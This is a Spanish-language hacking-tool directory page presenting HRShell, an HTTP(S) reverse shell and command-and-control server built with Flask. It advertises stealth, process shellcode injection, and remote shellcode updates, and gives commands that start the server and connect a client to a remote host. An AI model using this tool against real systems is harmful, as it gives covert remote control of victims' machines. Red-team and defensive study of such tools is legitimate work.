Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HRShell — HRShell es un reverse shell HTTPS/HTTP construido con flask. Es un servidor C2 avanzado con muchas funciones y capacidades. | Kitploit
Herramientas/GitHubGitHub/chrispetrou/hrshell
Herramientas de Cifrado/DescifradoExplotaciónIngeniería InversaShellcodePost-ExplotaciónSeguridad WebPruebas de PenetraciónComando y ControlRed TeamingDesarrollo de PayloadsArchived
2486925hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
chrispetrou/hrshell

HRShell

HRShell es un reverse shell HTTPS/HTTP construido con flask. Es un servidor C2 avanzado con muchas funciones y capacidades.

Ver Repositorio
HRShell: Un avanzado Reverse Shell HTTP(S) construido con Flask

GPLv3 license version Known Vulnerabilities



HRShell es un reverse shell HTTPS/HTTP construido con Flask y es compatible con python 3.x. El client.py ha sido probado exitosamente en:

  • Linux Ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

mientras que el server.py es compatible con sistemas Unix (Soporte para Windows próximamente...)

Características

  • Es sigiloso
  • Soporte TLS 🔑
    • Ya sea usando certificados sobre la marcha o
    • Especificando un par cert/clave (más detalles abajo...)
  • Inyección de shellcode 💉 (más detalles abajo...)
    • Ya sea inyección de shellcode en un hilo/proceso generado del proceso actual en ejecución
      • Plataformas soportadas hasta ahora:
        • Windows x86
        • Unix x86
        • Unix x64
    • o inyección de shellcode en otro proceso (migrate <PID>) especificando su PID
      • Plataformas soportadas hasta ahora:
        • Windows x86
        • Windows x64
  • El shellcode puede ser configurado/modificado sobre la marcha desde el servidor (más detalles abajo...)
  • Soporte de proxy en el cliente.
  • Navegación de directorios (comando cd y variantes).
  • Comando interactivo history disponible en sistemas Unix.
  • Comandos download/upload/screenshot/hex disponibles.
  • Pipelining (|) y comandos encadenados (;) están soportados
  • Soporte para cualquier comando no interactivo (como gdb, top, etc...)
  • El servidor es capaz de usar tanto HTTP como HTTPS.
  • Viene con dos servidores incorporados 🌐 hasta ahora... flask incorporado y tornado-WSGI, mientras que también es compatible con otros servidores de producción como gunicorn y Nginx.
  • Tanto server.py como client.py son fácilmente extensibles.
  • Dado que la mayor parte de la funcionalidad proviene del diseño de endpoints del servidor, es muy fácil escribir un cliente en cualquier otro lenguaje por ejemplo, Java, Go, etc...

*Para cambios de versión consulte el CHANGELOG.

Detalles


Sigiloso :shipit:

HRShell es sigiloso ya que utiliza el protocolo HTTP(S) como método de comunicación entre cliente y servidor. Además, cuando se usa TLS, el tráfico también está cifrado. Además, si el CERT no está codificado manualmente en el lado del cliente (lo cual es una opción factible) y no se usa el comando upload, entonces client.py no toca el disco en absoluto.

TLS 🔑

Lado del servidor: A menos que se especifique la opción --http, por defecto server.py es HTTPS usando certificados sobre la marcha, ya que los certificados sobre la marcha son una característica incorporada de Flask. Pero si se especifica la opción -s tornado para que el servidor use TLS, se deben especificar las opciones --cert y --key de la siguiente manera:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Se pueden usar certificados "reales" u otra forma de generar un par cert/clave es, por ejemplo, usando mkcert u openssl directamente de la siguiente manera:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

También se puede usar un par cert/clave con el servidor Flask:

python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ Si el servidor está usando TLS, entonces por diseño el cliente no puede usar http://... para conectarse al servidor, sino que debe usar explícitamente https.

Lado del cliente: Por defecto, la verificación SSL del cliente está deshabilitada, a menos que:

  • ya sea que se especifique el parámetro --cert, por ejemplo:
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • o la variable CERT, en lugar del valor predeterminado None, se establece previamente con un certificado válido, por ejemplo:
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    En este caso, client.py intentará crear un archivo oculto .cert.pem sobre la marcha y lo usará en su lugar.

⚠️ Que la verificación SSL esté deshabilitada por defecto en el cliente no significa en ningún caso que TLS también esté deshabilitado, TLS estará habilitado si el servidor lo usa - por lo que TLS depende completamente del servidor. La opción --cert en el cliente está ahí solo como una forma alternativa para que el servidor-cliente tenga una sesión cifrada y eso es todo.

Inyección de shellcode 💉

Hay dos "modos" de inyección de shellcode usando los dos siguientes comandos respectivamente:

  1. migrate <PID>: Usando este comando podemos inyectar shellcode en el espacio de memoria de otro proceso especificando su PID. Por ahora, este comando solo se puede aplicar en plataformas Windows x86/x64!
  1. inject shellcode: Usando este comando se crea un nuevo hilo (o proceso generado en sistemas Unix) de nuestro proceso actual y la inyección de shellcode ocurre en su espacio de memoria. Como resultado, nuestro shell HTTP(S) no se ve afectado por la inyección. Las plataformas donde se puede aplicar este comando son: Unix x86/x64, Windows x86!
Notas
  • En caso de que la inyección ocurra en un proceso, los permisos del proceso juegan un papel muy importante. No siempre es posible inyectar en cualquier proceso debido a la falta de privilegios adecuados.

Configurar/Modificar shellcode

Hay dos formas de especificar/configurar qué tipo de shellcode desea que ejecute el cliente:

  • Ya sea predefinir la variable shellcode en el script client.py para que sea un shellcode válido, o
  • Use el comando set shellcode <shellcode-id> para hacerlo sobre la marcha. Con este comando puede actualizar su shellcode en el lado del cliente desde el lado del servidor tantas veces como desee!
Descargar herramienta